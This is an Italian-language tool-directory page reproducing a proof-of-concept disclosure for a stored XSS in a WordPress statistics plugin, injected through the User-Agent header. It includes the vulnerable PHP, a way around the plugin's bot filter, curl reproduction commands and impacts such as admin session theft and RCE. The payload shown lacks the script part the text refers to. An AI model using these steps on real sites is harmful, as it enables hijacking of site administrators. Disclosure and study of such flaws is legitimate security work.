Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-97347 — Proof-of-concept per CVE-2026-97347, una XSS memorizzata non autenticata nel plugin WordPress Post Views Stats Counter tramite l'header User-Agent, con i passaggi di riproduzione. | Kitploit
Strumenti/GitHubGitHub/jailbr3ak/cve-2026-97347
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubjailbr3ak/cve-2026-97347

CVE-2026-97347

Proof-of-concept per CVE-2026-97347, una XSS memorizzata non autenticata nel plugin WordPress Post Views Stats Counter tramite l'header User-Agent, con i passaggi di riproduzione.

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-97347 — XSS memorizzato nel contatore delle statistiche di Post Views (plugin WordPress)

PluginPost Views Stats Counter
Versione interessata≤ 1.1.7
Classe di vulnerabilitàXSS memorizzato non autenticato
Punto di ingressoHeader HTTP User-Agent
SinkPagina delle statistiche di amministrazione (options-general.php?page=post_views_stats_admin_menu)
CVSS 3.17.2 Alto
StatoNon corretto al momento della divulgazione, nessuna versione corretta nota fino ad ora
RicercatoreNawaf Althurwi

La vulnerabilità

Il plugin registra ogni visualizzazione di pagina, incluso l'header User-Agent del visitatore, in una tabella personalizzata (wp_pvs_counter). Ecco dove recupera l'header — nessuna sanificazione in tutto il percorso:

// wp_pvscounter.php
$ua = $_SERVER['HTTP_USER_AGENT'];

L'unica difesa in ingresso è un filtro anti-bot, e si tratta solo di una blacklist di sottostringhe:

// wp_pvscounter.php
function pvs_counter_is_bot() {
    $pvs_bots = get_option('pvs_counter_value_admin_bots');
    ...
    foreach( $pvs_bots as $pvs_bot ) {
        if (stripos( $ua, $pvs_bot ) !== false) {
            $bot = 1;
            return $bot;
        }
    }
}

La lista predefinita è bot, spider, crawler. Tutto ciò che non contiene queste sottostringhe viene memorizzato. Questo è l'intero filtro.

Sul lato dell'output, la pagina di amministrazione costruisce un menu a discesa di "user agent registrati" e stampa il valore memorizzato grezzo all'interno del tag <option> — esc_attr() protegge l'attributo value ma l'etichetta visibile è un semplice echo:

// manage/admin.php
<?php foreach($useragent_bot_list as $useragent_bot): ?>
    <option value="<?php echo (esc_attr($useragent_bot)); ?>"><?php echo $useragent_bot; ?></option>

Una richiesta non autenticata con HTML nell'header User-Agent finisce quindi per essere eseguita nel browser dell'amministratore la volta successiva in cui apre la pagina delle statistiche del plugin. Un classico XSS memorizzato, senza autenticazione, senza alcuna interazione da parte della vittima oltre alla visualizzazione della propria dashboard.

Un'ulteriore limitazione da conoscere: la colonna useragent è varchar(155), quindi il payload deve rimanere sotto i 155 caratteri.

Riproduzione

Qualsiasi URL registrato va bene — la pagina iniziale /?p=1 è sufficiente. Sostituisci TARGET con l'host WordPress e YOUR_PAYLOAD con ciò che vuoi eseguire nella sessione dell'amministratore:

curl -s -o /dev/null \
  -H 'User-Agent: </option></select>' \
  'http://TARGET/?p=1'

Note sulla forma del payload:

  • </option></select> fa uscire il valore dal markup del menu a tendina — non è decorazione, senza di esso l'iniezione resta intrappolata all'interno del tag <option>.
  • Mantieni la stringa priva di bot/spider/crawler (senza distinzione tra maiuscole e minuscole) altrimenti la richiesta viene filtrata come bot prima di raggiungere il database.
  • Mantienila sotto i 155 caratteri totali.
  • Se vuoi degli spazi all'interno di un alert(), usa &#32; invece — alcuni client HTTP alterano gli spazi nei valori degli header.

Il one-liner che ho usato nel mio laboratorio:

curl -s -o /dev/null -w 'HTTP %{http_code} - payload stored\n' \
  -H 'User-Agent: </option></select>' \
  'http://packetradar.local:8090/?p=1'

Passo 1 — memorizzare il payload

Invio del payload tramite l'header User-Agent

Solo un semplice curl. HTTP 200 significa che la visualizzazione è stata conteggiata e l'header è finito nel database.

Passo 2 — attivarlo

Apri Impostazioni → Post Views Stats Counter come amministratore (oppure aggiorna se è già aperto). Il payload viene renderizzato come parte dell'elenco dei widget delle statistiche e l'onerror si attiva:

Payload in esecuzione nella pagina delle statistiche dell'amministratore

Impatto

  • Furto di cookie / dirottamento della sessione dell'amministratore (cambio di scope S:C — l'XSS viene eseguito su wp-admin, quindi può chiamare gli endpoint admin-ajax e plugin-install con i cookie dell'amministratore)
  • Installazione e attivazione di plugin → RCE sul server
  • Payload persistente: si attiva per l'amministratore a ogni visita alla pagina delle statistiche finché la riga non viene eliminata

Video di exploit

demo

Qualità superiore se vuoi scorrere/mettere in pausa: exploit-vid.mp4

Riferimenti

  • CVE Record — CVE-2026-97347

  • Wordfence Threat Intelligence record — CVE-2026-97347


Testato sulla versione 1.1.7 su WordPress 6.x in un laboratorio Docker locale. Non autenticato, nessuna interazione dell'utente oltre all'apertura della pagina delle statistiche.

Scarica lo strumento